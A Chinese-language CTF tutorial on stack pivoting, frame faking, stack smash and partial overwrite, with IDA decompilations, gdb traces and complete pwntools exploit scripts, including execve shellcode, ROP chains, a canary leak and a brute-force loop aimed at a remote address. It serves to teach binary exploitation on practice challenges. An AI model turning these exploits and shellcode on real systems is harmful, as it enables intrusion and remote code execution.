花式栈溢出

文章目录

花式栈溢出

参考:https://ctf-wiki.org/pwn/linux/user-mode/*/x86/fancy-rop/#2018-over

参考:https://www.yuque.com/hxfqg9/bin/erh0l7

参考:https://ctf-wiki.org/pwn/linux/user-mode/*/x86/fancy-rop

1.原理

1.1 stack pivoting

stack pivoting,翻为堆栈旋转 ,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP(说白了就是通过控制esp,从而达到间接控制eip的目的)。一般来说,我们可能在以下情况需要使用 stack pivoting:

  • 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
  • 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

此外,利用 stack pivoting 有以下几个要求

  • 可以控制程序执行流,也就是控制eip。
  • 可以控制 sp 指针。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是
pop rsp/esp
jmp rsp/esp

还有libc_csu_init 中的csu_gadget1 + 3:

pwndbg> x/5i 0x000000000040061A + 3
   0x40061d <__libc_csu_init+93>:       pop    rsp
   0x40061e <__libc_csu_init+94>:       pop    r13
   0x400620 <__libc_csu_init+96>:       pop    r14
   0x400622 <__libc_csu_init+98>:       pop    r15
   0x400624 <__libc_csu_init+100>:      ret    

1.2 栈迁移(frame faking)

1.2.1 gadget介绍

栈迁移主要利用了 leave; ret; 这样的gadget

leave相当于:

move esp, ebp;
pop ebp

ret相当于:

pop eip

当程序完成调用,打算返回时,就会出现leave; ret这样的gadget:

花式栈溢出

1.2.2 栈(payload)布置

栈迁移的栈布置如下(payload = padding + address(fake_ebp1) + read + leave_ret_gadget + 0 + fake_ebp1 + 0x100):

花式栈溢出

在进行read()函数读入数据时,我们需要输入:address(fake ebp2) + system() + padding _+ “/bin/sh”。(这里以system()为例,也可以调用其他的函数)

备注:

1. payload内加入read是为了在bss段或者data段内写入我们需要的数据,如果需要的数据提前已经被构造好了,那么可以删掉read,直接跟上leave_ret_gagegt。

2.在后面read()读入数据时输入的address(fake ebp2)是为了控制ebp的指向。如果只是为了执行函数,无所谓ebp在哪,那完全不需要输入address(fake ebp2),而可以用padding代替。

1.2.3 步骤分析

我们逐步分析下栈迁移的每一步,以执行system()函数为例:

stage 1:

函数调用完成,程序在函数结尾执行leave指令的move esp, ebp:

花式栈溢出
stage 2:

执行leave指令的 pop ebp:

花式栈溢出
stage 3:

程序执行ret,即pop eip,那么调用read(0, fake_ebp1, 0x100)函数。那么我们输入的内容就会从fake_ebp1开始往高地址写,我们让它写入:address(fake ebp2) + system() + padding + “/bin/sh”

花式栈溢出
stage 4:

程序执行leave_ret_gadget,那么又会像上面一样:

执行move esp, ebp

花式栈溢出
stage 5:

然后是pop ebp:

花式栈溢出

这个时候我们发现esp指向了我们写入的函数地址,比如system()函数。

stage 6:

然后是ret:

程序被劫持指向我们指定的函数,比如system(),实现目的。

其他栈迁移方式:

下面再介绍一种栈迁移方式,不过原理基本一样,不一样的是如下的布置方式不需要利用被调用函数的leave;ret 机制,且调用完后ebp不知道会指向哪里(取决于0x804a824内写入的原来的数据),但是仍然可以指向指定的函数:

以下以调用write()函数对栈上的”/bin/sh“进行打印为例:

原栈帧的布置:

0x0000:          b'aaaa' 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
0x0004:          b'aaaa'
...
0x0064:          b'aaaa'
0x0068:          b'aaaa'
0x006c:          b'aaaa'
0x0070:        0x8048390 read(0, 0x804a828, 100)
0x0074:        0x804836a <adjust @0x84> add esp, 8; pop ebx; ret
0x0078:              0x0 arg0
0x007c:        0x804a828 arg1
0x0080:             0x64 arg2
0x0084:        0x804864b pop ebp; ret  
0x0088:        0x804a824
0x008c:        0x8048465 leave; ret

bss段布置:

0x0000:        0x80483c0 write(1, 0x804a878, 7)
0x0004:        0x804836a <adjust @0x14> add esp, 8; pop ebx; ret
0x0008:              0x1 arg0
0x000c:        0x804a878 arg1
0x0010:              0x7 arg2
0x0014:          b'aaaa' 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
0x0018:          b'aaaa'
...
0x0048:          b'aaaa'
0x004c:          b'aaaa'
0x0050:          b'/bin' '/bin/sh'
0x0054:           b'/sh'
0x0057:          b'aaaa' 'aaaaaaaaaaaaa'
0x005b:          b'aaaa'
0x005f:          b'aaaa'
0x0063:             b'a'

执行完后,栈帧如下:

花式栈溢出

1.3 Stack smash

Stack smash是绕过canary保护的技术。

在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail 函数中就会输出我们想要的信息。

但是,在我的ubuntu20.04(内核 4.19.128)里面不会打印程序名,也不会打印 <unknown>

*** stack smashing detected ***: terminated

因此,对于比较新的内核,这个技巧无效了。

1.4 partial overwrite

在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。

2.例题

2.1 stack pivoting

2.1.1 习题信息

习题来自:ctf-challenges/pwn/*/stackprivot/X-CTF Quals 2016 - b0verfl0w

2.1.2 程序分析

看一下安全机制:

$ checksec  b0verfl0w
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/*/stackprivot/X-CTF Quals 2016 - b0verfl0w/b0verfl0w'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

可以看出来是32位的,没有canary,没有nx,没有pie,存在RWX

IDA看一下漏洞函数:

signed int vul()
{
  char s; // [esp+18h] [ebp-20h]

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(&s, 50, stdin);
  printf("Hello %s.", &s);
  fflush(stdout);
  return 1;
}

程序存在栈溢出,但是溢出的长度为: 50 - 0x20 - 4 = 14字节,因此很多rop无法执行。

考虑stack privoting,因为程序没有开启nx,因此可以把shellcode部署到栈上执行。基本思路如下:

  1. 利用栈溢出部署shellcode
  2. 控制eip指向shellcode

那么如何控制eip指向shellcode,我们寻找类似 jmp esp 的gadget:

$ ROPgadget --binary b0verfl0w --only "jmp|ret"
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x0804855d : jmp dword ptr [ecx + 0x804a040]
0x08048550 : jmp dword ptr [ecx + 0x804a060]
0x0804876f : jmp dword ptr [ecx]
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1

Unique gadgets found: 9

可以使用 0x08048504 处的gadget,当esp指向了我们可以控制的gadget时,触发jmp esp,从而让eip指向我们可以控制的gadget。然后我们可以控制的gadget功能就是让esp指向栈上shellcode,再jmp esp。

exp如下:

from pwn import *
sh = process('./b0verfl0w')

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')  # 我们可以控制的gadget
jmp_esp = 0x08048504
payload = shellcode_x86 + (
    0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()

运行结果:

$ python2 exploit.py 
[+] Starting local process './b0verfl0w': pid 9751
[*] Switching to interactive mode

======================

Welcome to X-CTF 2016!

======================
What's your name?
Hello 1���Qh//shh/bin\x89�
                         ̀bbbbbbbbbbbbbbb\x04\x04\x83�(��
.$  

2.2 栈迁移(frame faking)

2.2.1 习题信息

习题来自:ctf-challenges/pwn/*/fake_frame/over

2.2.2 程序分析

检查一下安全机制:

$ checksec over.over 
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/*/fake_frame/over/over.over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

发现64位,只开了nx.

IDA看一下漏洞函数:

int sub_400676()
{
  char buf[80]; // [rsp+0h] [rbp-50h]

  memset(buf, 0, sizeof(buf));
  putchar('>');
  read(0, buf, 0x60uLL);
  return puts(buf);
}

发现这个函数的栈只有0x50,read()函数只能写入0x60,也就是说只能刚刚好覆盖ret,不能再继续往高地址写入数据了。

那么我们可以把要迁移的栈放在原来的栈上,然后控制rbp指向迁移的栈(在本题也就是sub_400676()的rsp位置,因为buf恰好在rsp + 0h地方),这样,我们就能够布置要迁移的栈了。

那么我们怎么知道fake rbp呢?

因为read()写入数据时,不会自动补入“\0”,因此源程序调用puts()时,就会把栈上内容打印出来。我们只需要让buf为0x50,那么就会把prev ebp给打印出来,再根据偏移,计算出fake rbp的值。

我们在调用puts()函数前,打个断点,然后gdb看一下偏移:

   0x4006b6    mov    rdi, rax
 ► 0x4006b9    call   puts@plt <puts@plt>
        s: 0x7fffffffdf60 ◂— 0xa61 /* 'a\n' */
 
   0x4006be    leave  
   0x4006bf    ret    
 
   0x4006c0    push   rbp
   0x4006c1    mov    rbp, rsp
   0x4006c4    sub    rsp, 0x10
   0x4006c8    mov    dword ptr [rbp - 4], edi
   0x4006cb    mov    qword ptr [rbp - 0x10], rsi
   0x4006cf    mov    rax, qword ptr [rip + 0x20098a] <0x601060>
   0x4006d6    mov    ecx, 0
────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rax rdi rsi rsp 0x7fffffffdf60 ◂— 0xa61 /* 'a\n' */
01:0008│                 0x7fffffffdf68 ◂— 0x0
... ↓                    6 skipped
──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0         0x4006b9
   f 1         0x400715
   f 2   0x7ffff7deb0b3 __libc_start_main+243
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 14
00:0000│ rax rdi rsi rsp 0x7fffffffdf60 ◂— 0xa61 /* 'a\n' */
01:0008│                 0x7fffffffdf68 ◂— 0x0
... ↓                    8 skipped
0a:0050│ rbp             0x7fffffffdfb0 —▸ 0x7fffffffdfd0 ◂— 0x0
0b:0058│                 0x7fffffffdfb8 —▸ 0x400715 ◂— 0xb890f0eb0274c085
0c:0060│                 0x7fffffffdfc0 —▸ 0x7fffffffe0c8 —▸ 0x7fffffffe326 ◂— 0x732f642f746e6d2f ('/mnt/d/s')
0d:0068│                 0x7fffffffdfc8 ◂— 0x100000000
pwndbg> distance 0x7fffffffdf60 0x7fffffffdfd0
0x7fffffffdf60->0x7fffffffdfd0 is 0x70 bytes (0xe words)

发现偏移是0x70 (也就是从prev rbp 到 现在栈的rsp)

那么我们就需要将泄露出来的prev rbp - 0x70得到现在的rsp,也就是迁移的栈的栈顶

现在已经获得了要迁移的栈的栈顶,同时迁移过去的栈也已经能够布置了,按照正常的栈迁移payload构造即可。

exp如下:

# coding=utf-8
from pwn import *
context.binary = "./over.over"


def DEBUG(cmd):
    raw_input("DEBUG: ")
    gdb.attach(io, cmd)


io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc

io.sendafter(">", b'a' * 80)
stack = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\0')) - 0x70
success("stack -> {:#x}".format(stack))

# DEBUG("b *0x4006B9\nc")
# gdb.attach(io)
leave_ret = 0x4006be
pop_rdi_ret = 0x400793
io.sendafter(">", flat(['11111111', pop_rdi_ret, elf.got['puts'],
             elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, leave_ret]))  # 栈迁移的payload构造,打过去栈就进行迁移。也就是迁移到sub400676的栈(fake stack)上
libc.address = u64(io.recvuntil(b"\x7f")
                   [-6:].ljust(8, b'\0')) - libc.sym['puts']  # 计算libc基地址
success("libc.address -> {:#x}".format(libc.address))


'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
0x00000000000f5279 : pop rdx ; pop rsi ; ret
'''
pop_rdx_pop_rsi_ret = libc.address+0x130569  # 这个在不同的内核下不同,需要根据自己的系统找。我这个偏移是在4.15内核下(ubuntu18.04)的,我的4.19内核(ubuntu20.04)就找不到

#gdb.attach(io)
payload = flat(['22222222', pop_rdi_ret, next(libc.search(b"/bin/sh")), pop_rdx_pop_rsi_ret,
               p64(0), p64(0), libc.sym['execve'], (80 - 7*8) * '2', stack - 0x30, leave_ret])  # 这里有个stack - 0x30,因为第一次打payload之后,栈的结构发生了改变,还需要再减去-0x30才能迁移到rsp,这个得用gdb动态调

io.sendafter(">", payload)

io.interactive()

以上代码有两个注意点:

  1. pop_rdx_pop_rsi_ret:这个在不同的内核下不同,需要根据自己的系统找。我这个偏移是在4.15内核下(ubuntu18.04)的,我的4.19内核(ubuntu20.04)就找不到
  2. 第二个payload:这里有个stack - 0x30,因为第一次打payload之后,栈的结构发生了改变,还需要再减去-0x30才能迁移到rsp,这个得用gdb动态调

运行结果:

$ python3 exp.py
[*] '/home/xxx/over.over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './over.over': pid 102509
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] stack -> 0x7ffff16ebbc0
[+] libc.address -> 0x7f2d8439f000
[*] Switching to interactive mode
22222222\x93\x07
$

2.2.3 stack smash

2.2.3.1 习题信息

习题来自:ctf-challenges/pwn/*/stacksmashes/smashes

以下在如下的环境测试:

ubuntu# uname -a
Linux ubuntu 4.15.0-129-generic #132-Ubuntu SMP Thu Dec 10 14:02:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

2.2.3.2 程序分析

checksec看一下保护机制:

$ checksec smashes
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/*/stacksmashes/smashes/smashes'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

发现程序开了canary和nx,还有fortify

IDA看一下程序:

unsigned __int64 sub_4007E0()
{
  __int64 v0; // rax
  __int64 v1; // rbx
  int v2; // eax
  __int64 v4; // [rsp+0h] [rbp-128h]
  unsigned __int64 v5; // [rsp+108h] [rbp-20h]

  v5 = __readfsqword(0x28u);
  __printf_chk(1LL, (__int64)"Hello!\nWhat's your name? ");
  LODWORD(v0) = _IO_gets((__int64)&v4);
  if ( !v0 )
LABEL_9:
    _exit(1);
  v1 = 0LL;
  __printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: ");
  while ( 1 )
  {
    v2 = _IO_getc(stdin);
    if ( v2 == -1 )
      goto LABEL_9;
    if ( v2 == '\n' )
      break;
    aPctfHereSTheFl[v1++] = v2;
    if ( v1 == 32 )
      goto LABEL_8;
  }
  memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
LABEL_8:
  puts("Thank you, bye!");
  return __readfsqword(0x28u) ^ v5;
}

分析一下程序的逻辑:

  1. 一开始利用gets()往v4里面输入字符串,这个地方不限制输入的长度,可以进行溢出;
  2. 然后程序进入while循环,输入字符串长度到达32或者输入"\n"的时候,就会结束while循环。没输入一个字符,就会覆盖一个flag的字符
  3. 如果程序是因为换行符退出while循环,那么会执行memset清空剩下没被覆盖的flag;如果程序是因为输入的长度到达32而退出,那么不会清空剩下没被覆盖的flag

看一下存放flag的地方:

.data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0

这个时候就需要利用一个技巧:在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出

比如说,我们让程序跑起来,然后vmmap看一下内存:

pwndbg> vmmap smashes
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /mnt/d/study/ctf/资料/ctf-challenges/pwn/*/stacksmashes/smashes/smashes
          0x600000           0x601000 rw-p     1000 0      /mnt/d/study/ctf/资料/ctf-challenges/pwn/*/stacksmashes/smashes/smashes

会发现:0x000000000 ~ 0x00001000范围内的内容都会被映射到内存中,分别以0x600000和0x400000作为起始地址。

flag被放在0000000000000D20,虽然0000000000600D20位置被覆盖了,但是我们仍然可以通过查看0000000000400D20来得到flag。

pwndbg> x/s 0x0000000000400D20
0x400d20:       "PCTF{Here's the flag on server}"

而根据stack smash机制,程序的canary被检测出来不一致时,会打印出程序名(也就是一参),那么我们只需要将一参修改为0000000000400D20,即可打印出字符串。因此,我们需要算出程序名(也就是一参)距离栈顶的距离,然后进行替换即可。

gdb先看一下程序名(也就是一参)被放在哪里:

我们在main函数的起点(00000000004006D0)打个断点:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cPtIPN53-1633324928273)(https://i.loli.net/2021/10/02/Sv8cpAkyD6JgXGN.png)]

发现程序名(也就是一参)被放在0x7fffffffdf58位置。

当然,也可以利用pwntools直接打印:

pwndbg> p & __libc_argv[0]
$1 = (char **) 0x7fffffffdf58

那么现在只需要知道距离溢出点v4的偏移即可。我们找到gets()函数的位置,命令为$ objdump -d smashes | grep gets

40080e:       e8 ad fe ff ff          callq  4006c0 <_IO_gets@plt>

我们在gets()处打个断点,然后看一下gets()的一参,也就是v4的地址:

 ► 0x40080e    call   _IO_gets@plt <_IO_gets@plt>
        rdi: 0x7fffffffdd40 ◂— 0x0
        rsi: 0x19
        rdx: 0x7ffff7dcf8c0 (_IO_stdfile_1_lock) ◂— 0x0
        rcx: 0x0

发现v4也就是rdi是0x7fffffffdd40。

那么我们的偏移就是:

pwndbg> distance 0x7fffffffdd40 0x7fffffffdf58
0x7fffffffdd40->0x7fffffffdf58 is 0x218 bytes (0x43 words)

那么只需要设置:payload = cyclic(0x218) + 0x0000000000400D20即可,一旦程序崩溃,就会打印0x0000000000400D20的内容,也就是flag:

exp如下:

from pwn import *
p=process('./smashes')
# p = remote('pwn.jarvisoj.com', 9877)
payload = 'a'*0x228+p64(0x400d20)
p.sendlineafter('name? ', payload)
p.sendlineafter('flag: ', 'aaaaa')
print p.recv()

但是我的机器上只会打印unknown,不会打印程序名,也不会打印出flag:

ubuntu# python2 exp.py
[+] Starting local process './smashes': pid 106601
Thank you, bye!
*** stack smashing detected ***: <unknown> terminated

[*] Stopped process './smashes' (pid 106601)

2.2.4 partial overwrite

2.2.4.1 2018 - 安恒杯 - babypie

习题信息:ctf-challenges/pwn/*/partial_overwrite

程序分析:

$ checksec babypie
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位,开启了pie和canary

IDA看一下程序:

__int64 sub_960()
{
  char buf[40]; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  *(_OWORD *)buf = 0uLL;
  *(_OWORD *)&buf[16] = 0uLL;
  puts("Input your Name:");
  read(0, buf, 0x30uLL);                        // overflow
  printf("Hello %s:\n", buf, *(_QWORD *)buf, *(_QWORD *)&buf[8], *(_QWORD *)&buf[16], *(_QWORD *)&buf[24]);
  read(0, buf, 0x60uLL);                        // overflow
  return 0LL;
}

可以很明显地看出,上面的代码存在2处很明显的溢出。第一处可以读入的长度为48字节,那么可以利用第一次read泄露canary;第二处可以读入的长度为96字节,那么可以用来覆盖ret。

画一下栈:

花式栈溢出

同时,程序存在getshell()函数。

.text:0000000000000A3E getshell        proc near
.text:0000000000000A3E ; __unwind {
.text:0000000000000A3E                 push    rbp
.text:0000000000000A3F                 mov     rbp, rsp
.text:0000000000000A42                 lea     rdi, command    ; "/bin/sh"
.text:0000000000000A49                 call    _system
.text:0000000000000A4E                 nop
.text:0000000000000A4F                 pop     rbp
.text:0000000000000A50                 retn
.text:0000000000000A50 ; } // starts at A3E
.text:0000000000000A50 getshell        endp

因此,如果我们能够控制rip指向这里,就能够得到shell了。而我们知道,就算开了aslr,程序的最后12位也不会变。也就是说在程序运行起来getshell()的地址大概率为:xxxxxxxxxxxx?A3E

因此,我们得到以下思路:

  1. 第一次read(),我们写入0x28 + 0x1长度(因为read不会自动加入"\0"),泄露出canary
  2. 第二次read(),我们覆盖ret为xxxxxxxxxxxx0A3E,这样就会有一定的几率跳转到getshell()函数

exp如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
#  context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

while True:
    try:
        io = process("./babypie", timeout = 1)

        #  gdb.attach(io)
        io.sendafter(":\n", 'a' * (0x30 - 0x8 + 1))
        io.recvuntil('a' * (0x30 - 0x8 + 1))
        canary = '\0' + io.recvn(7)
        success(canary.encode('hex'))

        #  gdb.attach(io)
        io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')

        io.interactive()
    except Exception as e:
        io.close()
        print e

2.2.4.2 2018-XNUCA-gets

习题来自:ctf-challenges/pwn/*/partial_overwrite/2018-xnuca-gets

以下主要参考ctf-wiki:https://ctf-wiki.org/pwn/linux/user-mode/*/x86/fancy-rop/#2018-xnuca-gets

看一下程序的保护机制:

$ checksec gets
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/*/partial_overwrite/2018-xnuca-gets/gets'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位程序,发现啥保护也没有开

IDA看一下,发现就一个gets()函数:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+0h] [rbp-18h]

  gets(&v4, a2, a3);
  return 0LL;
}

很明显存在栈溢出,然后我们可以控制rip。

程序停在main(0x0000000000400420),看一下栈:

pwndbg> stack 25
00:0000│ rsp  0x7fffffffe398 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
01:0008│      0x7fffffffe3a0 ◂— 0x1
02:0010│      0x7fffffffe3a8 —▸ 0x7fffffffe478 —▸ 0x7fffffffe6d9 ◂— 0x6667682f746e6d2f ('/mnt/hgf')
03:0018│      0x7fffffffe3b0 ◂— 0x1f7ffcca0
04:0020│      0x7fffffffe3b8 —▸ 0x400420 ◂— sub    rsp, 0x18
05:0028│      0x7fffffffe3c0 ◂— 0x0
06:0030│      0x7fffffffe3c8 ◂— 0xf086047f3fb49558
07:0038│      0x7fffffffe3d0 —▸ 0x400440 ◂— xor    ebp, ebp
08:0040│      0x7fffffffe3d8 —▸ 0x7fffffffe470 ◂— 0x1
09:0048│      0x7fffffffe3e0 ◂— 0x0
... ↓
0b:0058│      0x7fffffffe3f0 ◂— 0xf79fb00f2749558
0c:0060│      0x7fffffffe3f8 ◂— 0xf79ebba9ae49558
0d:0068│      0x7fffffffe400 ◂— 0x0
... ↓
10:0080│      0x7fffffffe418 —▸ 0x7fffffffe488 —▸ 0x7fffffffe704 ◂— 0x504d554a4f545541 ('AUTOJUMP')
11:0088│      0x7fffffffe420 —▸ 0x7ffff7ffe168 ◂— 0x0
12:0090│      0x7fffffffe428 —▸ 0x7ffff7de77cb (_dl_init+139) ◂— jmp    0x7ffff7de77a0

发现栈上有__libc_start_main+240_dl_init+139

那么我们可以有如下的思路:

step1: 用partial overwrite技术将__libc_start_main+240_dl_init+139的低12位覆盖,使得它们变为我们需要的gadget地址,这个gadget可以从lib.so里面找,使用onegadget即可。

step2:经过1的修改,只需要控制eip指向被覆盖后的__libc_start_main+240_dl_init+139

前置知识:

__libc_start_main+240 位于 libc 中,_dl_init+139 位于 ld 中

看看step1:覆盖很easy,就像2.2.4.1一样的操作即可,但是我们要覆盖两个中的哪一个呢?因为gets()会自动加入\0,会占1个字节,因此覆盖的时候会导致有8位变为0,如果我们覆盖__libc_start_main+240 ,那么地址就会变为:0x7ffff700xxxx,已经小于了 libc 的基地址了,前面也没有刻意执行的代码位。而_dl_init+139是在libc的高地址位置,就算有一个字节被覆盖为\0,变为:0x7ffff700xxxx,会让地址变到libc.so的范围内,那么我们可以使用libc.so里面的gadget了。下面是地址,可以看到libc-2.23.so的起始地址为:0x7ffff7a0d000,ld-2.23.so的起始地址为:0x7ffff7dd7000。

0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0
0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so

**再看step2:**现在怎么控制eip的变化呢?我们可以利用ret2csu里面的csu_gadget1(0x40059B),这个gadget1可以让pop 5次后,进行retn。只需要多调用几次这个gadget即可。

**其他:**那么我们还需要知道具体的libc.so的版本,buu里面给出了系统版本为ubuntu16的信息和libc版本,我们可以直接使用。

但是如果没有给定怎么处理?可以像ctf-wiki一样,先随便覆盖,看看程序是否崩溃:

from pwn import *
context.terminal = ['tmux', 'split', '-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
elfpath = './gets'
context.binary = elfpath

elf = ELF(elfpath)
bits = elf.bits


def exp(ip, port):
    for i in range(0x1000):
        if args['REMOTE']:
            p = remote(ip, port)
        else:
            p = process(elfpath, timeout=2)
        # gdb.attach(p)
        try:
            payload = 0x18 * 'a' + p64(0x40059B)
            for _ in range(2):
                payload += 'a' * 8 * 5 + p64(0x40059B)
            payload += 'a' * 8 * 5 + p16(i)
            p.sendline(payload)
            data = p.recv()
            print data
            p.interactive()
            p.close()
        except Exception:
            p.close()
            continue


if __name__ == "__main__":
    exp('106.75.4.189', 35273)

产生崩溃信息如下:

======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f57b6f857e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f57b6f8e37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f57b6f9253c]
/lib/x86_64-linux-gnu/libc.so.6(+0xf2c40)[0x7f57b7000c40]
[0x7ffdec480f20]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:28 48745                              /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets
00600000-00601000 r--p 00000000 00:28 48745                              /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets
00601000-00602000 rw-p 00001000 00:28 48745                              /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets
00b21000-00b43000 rw-p 00000000 00:00 0                                  [heap]
7f57b0000000-7f57b0021000 rw-p 00000000 00:00 0
7f57b0021000-7f57b4000000 ---p 00000000 00:00 0
7f57b6cf8000-7f57b6d0e000 r-xp 00000000 08:01 914447                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f57b6d0e000-7f57b6f0d000 ---p 00016000 08:01 914447                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f57b6f0d000-7f57b6f0e000 rw-p 00015000 08:01 914447                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f57b6f0e000-7f57b70ce000 r-xp 00000000 08:01 914421                     /lib/x86_64-linux-gnu/libc-2.23.so
7f57b70ce000-7f57b72ce000 ---p 001c0000 08:01 914421                     /lib/x86_64-linux-gnu/libc-2.23.so
7f57b72ce000-7f57b72d2000 r--p 001c0000 08:01 914421                     /lib/x86_64-linux-gnu/libc-2.23.so
7f57b72d2000-7f57b72d4000 rw-p 001c4000 08:01 914421                     /lib/x86_64-linux-gnu/libc-2.23.so
7f57b72d4000-7f57b72d8000 rw-p 00000000 00:00 0
7f57b72d8000-7f57b72fe000 r-xp 00000000 08:01 914397                     /lib/x86_64-linux-gnu/ld-2.23.so
7f57b74ec000-7f57b74ef000 rw-p 00000000 00:00 0
7f57b74fc000-7f57b74fd000 rw-p 00000000 00:00 0
7f57b74fd000-7f57b74fe000 r--p 00025000 08:01 914397                     /lib/x86_64-linux-gnu/ld-2.23.so
7f57b74fe000-7f57b74ff000 rw-p 00026000 08:01 914397                     /lib/x86_64-linux-gnu/ld-2.23.so
